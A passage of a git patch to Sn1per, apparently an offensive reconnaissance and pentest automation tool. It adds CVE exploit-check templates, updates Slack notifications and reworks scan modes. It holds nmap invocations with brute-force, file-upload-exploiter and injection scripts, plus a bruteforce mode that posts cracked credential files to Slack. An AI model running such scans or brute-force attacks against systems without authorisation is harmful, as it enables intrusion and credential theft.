From 7adb5b3998f69b353ced29aca22516a9e7208b26 Mon Sep 17 00:00:00 2001 From: "@xer0dayz" <1n3@hushmail.com> Date: Sun, 13 Sep 2020 18:08:30 -0700 Subject: [PATCH] New sc0pe templates, updated Slack API integration, updated wordlists and misc changes for v8.7 --- CHANGELOG.md | 14 +- bin/slack.sh | 18 +- modes/airstrike.sh | 3 +- modes/bruteforce.sh | 8 +- modes/flyover.sh | 10 +- modes/fullportonly.sh | 9 +- modes/javascript-analysis.sh | 2 +- modes/massweb.sh | 4 +- modes/masswebscan.sh | 27 +- modes/normal.sh | 88 +- modes/normal_webporthttp.sh | 16 +- modes/normal_webporthttps.sh | 18 +- modes/nuke.sh | 16 +- modes/osint.sh | 6 +- modes/recon.sh | 3 +- modes/sc0pe-active-webscan.sh | 17 + modes/sc0pe-network-scan.sh | 18 + modes/sc0pe-passive-webscan.sh | 30 + modes/sc0pe.sh | 7 +- modes/stealth.sh | 29 +- modes/vulnscan.sh | 27 +- modes/web_autopwn.sh | 9 - modes/webporthttp.sh | 28 +- modes/webporthttps.sh | 25 +- modes/webscan.sh | 58 +- sniper | 8 + ...n_Crowd_Data_Center_Unauthenticated_RCE.sh | 9 + ...ress_Chop_Slider_3_Plugin_SQL_Injection.sh | 9 + ...set_3.15_Unauthenticated_Database_Reset.sh | 9 + wordlists/web-brute-common.txt | 634 + wordlists/web-brute-exploits.txt | 779 +- wordlists/web-brute-full.txt | 14152 ++++++---------- wordlists/web-brute-vulnerabilities.txt | 5 + 33 files changed, 7155 insertions(+), 8940 deletions(-) create mode 100644 modes/sc0pe-active-webscan.sh create mode 100644 modes/sc0pe-network-scan.sh create mode 100644 modes/sc0pe-passive-webscan.sh create mode 100644 templates/active/CVE-2019-11580_-_Atlassian_Crowd_Data_Center_Unauthenticated_RCE.sh create mode 100644 templates/active/CVE-2020-11530_-_Wordpress_Chop_Slider_3_Plugin_SQL_Injection.sh create mode 100644 templates/active/CVE-2020-7048_-_WP_Database_Reset_3.15_Unauthenticated_Database_Reset.sh diff --git a/CHANGELOG.md b/CHANGELOG.md index c01d5c4..bf53275 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,17 @@ ## CHANGELOG: -* v8.7 - Fixed/added Nessus integration (Pro only) +* v8.7 - Updated web file bruteforce lists +* v8.7 - Added updated Slack API integration/notifications +* v8.7 - Added Magento 2.3.0 SQL Injection sc0pe template +* v8.7 - Added CVE-2020-15920 - Unauthenticated RCE at Mida eFramework sc0pe template +* v8.7 - Added CVE-2019-7192 - QNAP Pre-Auth Root RCE sc0pe template +* v8.7 - Added CVE-2020-10204 - Sonatype Nexus Repository RCE sc0pe template +* v8.7 - Added CVE-2020-13167 - Netsweeper WebAdmin unixlogin.php Python Code Injection sc0pe template +* v8.7 - Added CVE-2020-2140 - Jenkin AuditTrailPlugin XSS sc0pe template +* v8.7 - Added CVE-2020-7209 - LinuxKI Toolset 6.01 Remote Command Execution sc0pe template +* v8.7 - Added CVE-2019-16662 - rConfig 3.9.2 Remote Code Execution sc0pe template +* v8.7 - Added Sitemap.xml Detected sc0pe template +* v8.7 - Added Robots.txt Detected sc0pe template +* v8.7 - Added AWS S3 Public Bucket Listing sc0pe template * v8.7 - Fixed logic error in stealth mode recon scans not running * v8.7 - Added CVE-2020-7048 - WP Database Reset 3.15 Unauthenticated Database Reset * v8.7 - Fixed F- detection in Wordpress Sc0pe templates diff --git a/bin/slack.sh b/bin/slack.sh index 53472a0..82d8dae 100644 --- a/bin/slack.sh +++ b/bin/slack.sh @@ -1,17 +1,17 @@ #!/bin/bash +# Slack API Integration script for Sn1per +# By @xer0dayz - https://xerosecurity.com +# + +source /usr/share/sniper/sniper.conf +source /root/.sniper.conf +source /root/.sniper_api_keys.conf -SLACK_API_TOKEN=$(grep SLACK_API_TOKEN ~/.sniper.conf | cut -d\" -f2) -SLACK_CHANNEL="sn1per-professional" MESSAGE="$1" if [ "$MESSAGE" == "postfile" ]; then FILENAME="$2" - curl -v -F "file=@$FILENAME" "https://slack.com/api/files.upload?token=$SLACK_API_TOKEN&channels=%23$SLACK_CHANNEL&filename=$FILENAME&pretty=1" 2> /dev/null > /dev/null + curl -F "file=@$FILENAME" -F "initial_comment=$FILENAME" -F "channels=$SLACK_CHANNEL" -H "Authorization: Bearer $SLACK_API_TOKEN" https://slack.com/api/files.upload 2> /dev/null > /dev/null else - curl -G --data-urlencode "text=$MESSAGE" \ - --data-urlencode "token=$SLACK_API_TOKEN" \ - --data-urlencode "channel=#$SLACK_CHANNEL" \ - -i -s -k -X $'GET' \ - -H $'Host: slack.com' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \ - $'https://slack.com/api/chat.postMessage' 2> /dev/null > /dev/null + curl -X POST -H 'Content-type: application/json' --data "{\"text\":\"$MESSAGE\"}" $SLACK_WEBHOOK_URL 2> /dev/null > /dev/null fi diff --git a/modes/airstrike.sh b/modes/airstrike.sh index 03415d1..177e856 100644 --- a/modes/airstrike.sh +++ b/modes/airstrike.sh @@ -80,7 +80,6 @@ if [[ "$MODE" = "airstrike" ]]; then fi if [[ "$LOOT" = "1" ]]; then loot - fi - + fi exit fi diff --git a/modes/bruteforce.sh b/modes/bruteforce.sh index 45ab0f5..3cd3e4d 100644 --- a/modes/bruteforce.sh +++ b/modes/bruteforce.sh @@ -3,8 +3,8 @@ if [[ "$AUTOBRUTE" = "0" ]]; then echo -e "$OKRED SKIPPING BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" else - echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running-$TARGET-bruteforce.txt 2> /dev/null - ls -lh $LOOT_DIR/scans/running-*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt + echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_bruteforce.txt 2> /dev/null + ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -23,8 +23,8 @@ else echo "$CRACKED" > $LOOT_DIR/output/cracked-$TARGET.txt 2> /dev/null fi echo "" - mv $LOOT_DIR/scans/running-$TARGET-bruteforce.txt $LOOT_DIR/scans/finished-$TARGET-bruteforce.txt 2> /dev/null - ls -lh $LOOT_DIR/scans/running-*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt + rm -f $LOOT_DIR/scans/running_${TARGET}_bruteforce.txt 2> /dev/null + ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt if [[ "$SLACK_NOTIFICATIONS_BRUTEFORCE" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/credentials/brutex-$TARGET.txt" diff --git a/modes/flyover.sh b/modes/flyover.sh index 7d4b808..2fa3086 100644 --- a/modes/flyover.sh +++ b/modes/flyover.sh @@ -50,8 +50,8 @@ if [[ "$MODE" = "flyover" ]]; then touch $LOOT_DIR/scans/$TARGET-$MODE.txt 2> /dev/null echo "$TARGET" >> $LOOT_DIR/domains/targets.txt - echo "sniper -t $TARGET -m $MODE $args" >> $LOOT_DIR/scans/running-$TARGET-$MODE.txt 2> /dev/null - ls -lh $LOOT_DIR/scans/running-*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt + echo "sniper -t $TARGET -m $MODE $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null + ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt echo -e "$OKRED=====================================================================================$RESET" echo -e "${OKBLUE}HOST:$RESET $TARGET" @@ -98,8 +98,8 @@ if [[ "$MODE" = "flyover" ]]; then echo "$TARGET" >> $LOOT_DIR/scans/updated.txt echo "$TARGET" >> $LOOT_DIR/domains/targets-all-presorted.txt - mv $LOOT_DIR/scans/running-$TARGET-$MODE.txt $LOOT_DIR/scans/finished-$TARGET-$MODE.txt 2> /dev/null - ls -lh $LOOT_DIR/scans/running-*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt 2> /dev/null + rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null + ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt 2> /dev/null RUNNING_TASKS=$(wc -l $LOOT_DIR/scans/tasks-running.txt 2> /dev/null) i=$((i+1)) @@ -131,7 +131,7 @@ if [[ "$MODE" = "flyover" ]]; then diff $LOOT_DIR/nmap/livehosts-sorted.old $LOOT_DIR/nmap/livehosts-sorted.txt 2> /dev/null > $LOOT_DIR/nmap/livehosts-sorted.diff 2> /dev/null if [[ "$SLACK_NOTIFICATIONS_NMAP_DIFF" == "1" ]] && [[ -s "$LOOT_DIR/nmap/livehosts-sorted.diff" ]]; then - /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Host status change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" + /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Host status change detected on $WORKSPACE (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/livehosts-sorted.diff" echo "[xerosecurity.com] •?((¯°·._.• Host status change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt cat $LOOT_DIR/nmap/livehosts-sorted.diff | egrep "<|>" >> $LOOT_DIR/scans/notifications.txt diff --git a/modes/fullportonly.sh b/modes/fullportonly.sh index 51f0dc3..18cbb4d 100644 --- a/modes/fullportonly.sh +++ b/modes/fullportonly.sh @@ -18,8 +18,8 @@ if [[ "$MODE" = "fullportonly" ]]; then fi args="$args --noreport -m fullportonly" echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null - echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running-$TARGET-$MODE.txt - ls -lh $LOOT_DIR/scans/running-*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt + echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt + ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1 exit fi @@ -64,8 +64,8 @@ if [[ "$MODE" = "fullportonly" ]]; then echo -e "$OKRED SCAN COMPLETE! $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo "$TARGET" >> $LOOT_DIR/scans/updated.txt - mv $LOOT_DIR/scans/running-$TARGET-$MODE.txt $LOOT_DIR/scans/finished-$TARGET-$MODE.txt 2> /dev/null - ls -lh $LOOT_DIR/scans/running-*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt + rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null + ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt HOST_UP=$(cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2> /dev/null | grep "host up" 2> /dev/null) if [[ ${#HOST_UP} -ge 2 ]]; then @@ -98,6 +98,7 @@ if [[ "$MODE" = "fullportonly" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" echo "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt fi + loot exit fi diff --git a/modes/javascript-analysis.sh b/modes/javascript-analysis.sh index c96c8e1..32b18ea 100644 --- a/modes/javascript-analysis.sh +++ b/modes/javascript-analysis.sh @@ -3,7 +3,7 @@ echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED DOWNLOADING ALL JAVASCRIPT FILES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - egrep --binary-files=text "\.js" /usr/share/sniper/loot/workspace/127.0.0.1/web/spider-127.0.0.1.txt | egrep -v '.json|.jsp' + egrep --binary-files=text "\.js" $LOOT_DIR/web/spider-$TARGET.txt | egrep -v '.json|.jsp' for a in `egrep --binary-files=text "\.js" $LOOT_DIR/web/spider-$TARGET.txt | egrep -v '.json|.jsp' | head -n $MAX_JAVASCRIPT_FILES | cut -d\? -f1 | sort -u`; do echo "Downloading - $a" && FILENAME=$(echo "$a" | awk -F/ '{print $(NF-0)}') && curl --connect-timeout 10 --max-time 10 -s -R -L --insecure $a | js-beautify - > $FILENAME 2> /dev/null; done; for a in `egrep --binary-files=text "\.js" $LOOT_DIR/web/weblinks-htt*-$TARGET.txt 2> /dev/null | egrep -v '.json|.jsp' | egrep -i 'http' | head -n $MAX_JAVASCRIPT_FILES | cut -d\? -f1 | sort -u`; do echo "Downloading - $a" && FILENAME=$(echo "$a" | awk -F/ '{print $(NF-0)}') && curl --connect-timeout 10 --max-time 10 -s -R -L --insecure $a | js-beautify - > $FILENAME 2> /dev/null; done; for a in `egrep --binary-files=text "\.js" $LOOT_DIR/web/weblinks-htt*-$TARGET.txt 2> /dev/null | egrep -v '.json|.jsp' | egrep -iv 'http' | head -n $MAX_JAVASCRIPT_FILES | cut -d\? -f1 | sort -u`; do echo "Downloading - https://$a" && FILENAME=$(echo "https://$a" | awk -F/ '{print $(NF-0)}') && curl --connect-timeout 10 --max-time 10 -s -R -L --insecure $a | js-beautify - > $FILENAME 2> /dev/null; done; diff --git a/modes/massweb.sh b/modes/massweb.sh index 5bcb873..e451f9a 100644 --- a/modes/massweb.sh +++ b/modes/massweb.sh @@ -47,7 +47,7 @@ if [[ "$MODE" = "massweb" ]]; then echo -e "$OKRED __________________________________________________________" echo -e "$RESET" if [[ ! -z "$WORKSPACE_DIR" ]]; then - echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null + #echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" @@ -55,7 +55,7 @@ if [[ "$MODE" = "massweb" ]]; then fi sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1 else - echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null + #echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1 fi diff --git a/modes/masswebscan.sh b/modes/masswebscan.sh index c0dad1c..d99cd0a 100644 --- a/modes/masswebscan.sh +++ b/modes/masswebscan.sh @@ -19,35 +19,13 @@ if [[ "$MODE" = "masswebscan" ]]; then mkdir $WORKSPACE_DIR/notes 2> /dev/null mkdir $WORKSPACE_DIR/reports 2> /dev/null mkdir $WORKSPACE_DIR/output 2> /dev/null + mkdir $WORKSPACE_DIR/vulnerabilities/ 2> /dev/null + mkdir $WORKSPACE_DIR/scans/ 2> /dev/null fi args="$args -m webscan --noreport --noloot" TARGET="$a" args="$args -t $TARGET" - echo -e "$OKRED |" - echo -e "$OKRED | |" - echo -e "$OKRED | -/_\-" - echo -e "$OKRED -/_\- ______________(/ . \)______________" - echo -e "$OKRED ____________(/ . \)_____________ \___/ <>" - echo -e "$OKRED <> \___/ <> <>" - echo -e "$OKRED " - echo -e "$OKRED ||" - echo -e "$OKRED <>" - echo -e "$OKRED ||" - echo -e "$OKRED <>" - echo -e "$OKRED ||" - echo -e "$OKRED || BIG" - echo -e "$OKRED _____ __ <> (^)))^ BOOM!" - echo -e "$OKRED BOOM!/(( )\ BOOM!(( ))) ( ( )" - echo -e "$OKRED ---- (__()__)) (() ) )) ( ( ( )" - echo -e "$OKRED || |||____|------ \ (/ ___ (__\ /__)" - echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||" - echo -e "$OKRED | ||. | | | ||| |||||" - echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||" - echo -e "$OKRED | ||. | | | ||| |||||" - echo -e "$OKRED __________________________________________________________" - echo -e "$RESET" if [[ ! -z "$WORKSPACE_DIR" ]]; then - echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" @@ -55,7 +33,6 @@ if [[ "$MODE" = "masswebscan" ]]; then fi sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1 else - echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1 fi diff --git a/modes/normal.sh b/modes/normal.sh index 93aa157..a2930b0 100644 --- a/modes/normal.sh +++ b/modes/normal.sh @@ -43,28 +43,17 @@ if [[ ! -z $WORKSPACE ]]; then fi echo "$TARGET" >> $LOOT_DIR/domains/targets.txt - - - - - -echo "$TARGET normal `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null -echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-normal.txt 2> /dev/null -echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running-$TARGET-normal.txt 2> /dev/null -ls -lh $LOOT_DIR/scans/running-*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt - - +echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks-unsorted.txt 2> /dev/null +mv -f $LOOT_DIR/scans/tasks-unsorted.txt /dev/null $LOOT_DIR/scans/tasks.txt 2> /dev/null +echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/${TARGET}-${MODE}.txt 2> /dev/null +echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null +ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then - /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [normal] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" - echo "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [normal] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt + /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [${MODE}] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" + echo "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [${MODE}] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt fi - - - - - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING DNS INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -481,7 +470,7 @@ else echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP HTTP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -Pn -p 80 -sV -v --script-timeout 90 --script=http-adobe-coldfusion-apsa1301,http-apache-server-status,http-aspnet-debug,http-auth-finder,http-auth,http-avaya-ipoffice-users,http-awstatstotals-exec,http-axis2-dir-traversal,http-backup-finder,http-barracuda-dir-traversal,http-brute,http-cakephp-version,http-chrono,http-config-backup,http-cookie-flags,http-cors,http-cross-domain-policy,http-csrf,http-date,http-default-accounts,http-devframework,http-dlink-backdoor,http-dombased-xss,http-domino-enum-passwords,http-drupal-enum-users,http-drupal-enum,http-errors,http-feed,http-fetch,http-fileupload-exploiter,http-form-brute,http-form-fuzzer,http-frontpage-login,http-generator,http-git,http-gitweb-projects-enum,http-google-malware,http-grep,http-headers,http-huawei-hg5xx-vuln,http-icloud-findmyiphone,http-icloud-sendmsg,http-iis-short-name-brute,http-iis-webdav-vuln,http-internal-ip-disclosure,http-joomla-brute,http-ls,http-majordomo2-dir-traversal,http-method-tamper,http-methods,http-mobileversion-checker,http-ntlm-info,http-open-proxy,http-open-redirect,http-passwd,http-php-version,http-phpmyadmin-dir-traversal,http-phpself-xss,http-proxy-brute,http-put,http-qnap-nas-info,http-rfi-spider,http-robots.txt,http-robtex-reverse-ip,http-robtex-shared-ns,http-security-headers,http-server-header,http-shellshock,http-sitemap-generator,http-sql-injection,http-stored-xss,http-svn-enum,http-svn-info,http-title,http-tplink-dir-traversal,http-trace,http-traceroute,http-unsafe-output-escaping,http-userdir-enum,http-vhosts,http-virustotal,http-vlcstreamer-ls,http-vmware-path-vuln,http-vuln-cve2006-3392,http-vuln-cve2009-3960,http-vuln-cve2010-0738,http-vuln-cve2010-2861,http-vuln-cve2011-3192,http-vuln-cve2011-3368,http-vuln-cve2012-1823,http-vuln-cve2013-0156,http-vuln-cve2013-6786,http-vuln-cve2013-7091,http-vuln-cve2014-2126,http-vuln-cve2014-2127,http-vuln-cve2014-2128,http-vuln-cve2014-2129,http-vuln-cve2014-3704,http-vuln-cve2014-8877,http-vuln-cve2015-1427,http-vuln-cve2015-1635,http-vuln-cve2017-1001000,http-vuln-cve2017-5638,http-vuln-cve2017-5689,http-vuln-cve2017-8917,http-vuln-misfortune-cookie,http-vuln-wnr1000-creds,http-waf-detect,http-waf-fingerprint,http-webdav-scan,http-wordpress-brute,http-wordpress-enum,http-wordpress-users,http-xssed,/usr/share/nmap/scripts/vulners,http-default-accounts --script-args http-default-accounts.fingerprintfile=/usr/share/sniper/bin/http-default-accounts-fingerprints-nndefaccts.lua $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port80 + nmap -Pn -p 80 -sV -v --script-timeout 90 --script=http-auth-finder,http-auth,http-brute,/usr/share/nmap/scripts/vulners,http-default-accounts --script-args http-default-accounts.fingerprintfile=/usr/share/sniper/bin/http-default-accounts-fingerprints-nndefaccts.lua $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port80 sed -r "s/ /dev/null > $LOOT_DIR/output/nmap-$TARGET-port80.txt 2> /dev/null rm -f $LOOT_DIR/output/nmap-$TARGET-port80 2> /dev/null fi @@ -499,8 +488,28 @@ else cd $LOOT_DIR python2 $INSTALL_DIR/bin/webscreenshot.py http://$TARGET:80 fi + source $INSTALL_DIR/modes/normal_webporthttp.sh + + cd $INSTALL_DIR + PORT="80" + SSL="false" + source $INSTALL_DIR/modes/web_autopwn.sh + + if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING SC0PE WEB VULNERABILITY SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh + source $INSTALL_DIR/modes/sc0pe-active-webscan.sh + + for file in `ls $INSTALL_DIR/templates/passive/web/recursive/*.sh 2> /dev/null`; do + source $file + done + fi + source $INSTALL_DIR/modes/osint_stage_2.sh + fi if [[ -z "$port_110" ]]; @@ -777,7 +786,7 @@ else echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP HTTP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -sV -Pn -p 443 -v --script-timeout 90 --script=http-adobe-coldfusion-apsa1301,http-apache-server-status,http-aspnet-debug,http-auth-finder,http-auth,http-avaya-ipoffice-users,http-awstatstotals-exec,http-axis2-dir-traversal,http-backup-finder,http-barracuda-dir-traversal,http-brute,http-cakephp-version,http-chrono,http-config-backup,http-cookie-flags,http-cors,http-cross-domain-policy,http-csrf,http-date,http-default-accounts,http-devframework,http-dlink-backdoor,http-dombased-xss,http-domino-enum-passwords,http-drupal-enum-users,http-drupal-enum,http-errors,http-feed,http-fetch,http-fileupload-exploiter,http-form-brute,http-form-fuzzer,http-frontpage-login,http-generator,http-git,http-gitweb-projects-enum,http-google-malware,http-grep,http-headers,http-huawei-hg5xx-vuln,http-icloud-findmyiphone,http-icloud-sendmsg,http-iis-short-name-brute,http-iis-webdav-vuln,http-internal-ip-disclosure,http-joomla-brute,http-ls,http-majordomo2-dir-traversal,http-method-tamper,http-methods,http-mobileversion-checker,http-ntlm-info,http-open-proxy,http-open-redirect,http-passwd,http-php-version,http-phpmyadmin-dir-traversal,http-phpself-xss,http-proxy-brute,http-put,http-qnap-nas-info,http-rfi-spider,http-robots.txt,http-robtex-reverse-ip,http-robtex-shared-ns,http-security-headers,http-server-header,http-shellshock,http-sitemap-generator,http-sql-injection,http-stored-xss,http-svn-enum,http-svn-info,http-title,http-tplink-dir-traversal,http-trace,http-traceroute,http-unsafe-output-escaping,http-userdir-enum,http-vhosts,http-virustotal,http-vlcstreamer-ls,http-vmware-path-vuln,http-vuln-cve2006-3392,http-vuln-cve2009-3960,http-vuln-cve2010-0738,http-vuln-cve2010-2861,http-vuln-cve2011-3192,http-vuln-cve2011-3368,http-vuln-cve2012-1823,http-vuln-cve2013-0156,http-vuln-cve2013-6786,http-vuln-cve2013-7091,http-vuln-cve2014-2126,http-vuln-cve2014-2127,http-vuln-cve2014-2128,http-vuln-cve2014-2129,http-vuln-cve2014-3704,http-vuln-cve2014-8877,http-vuln-cve2015-1427,http-vuln-cve2015-1635,http-vuln-cve2017-1001000,http-vuln-cve2017-5638,http-vuln-cve2017-5689,http-vuln-cve2017-8917,http-vuln-misfortune-cookie,http-vuln-wnr1000-creds,http-waf-detect,http-waf-fingerprint,http-webdav-scan,http-wordpress-brute,http-wordpress-enum,http-wordpress-users,http-xssed,/usr/share/nmap/scripts/vulners,http-default-accounts --script-args http-default-accounts.fingerprintfile=/usr/share/sniper/bin/http-default-accounts-fingerprints-nndefaccts.lua $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port443 + nmap -sV -Pn -p 443 -v --script-timeout 90 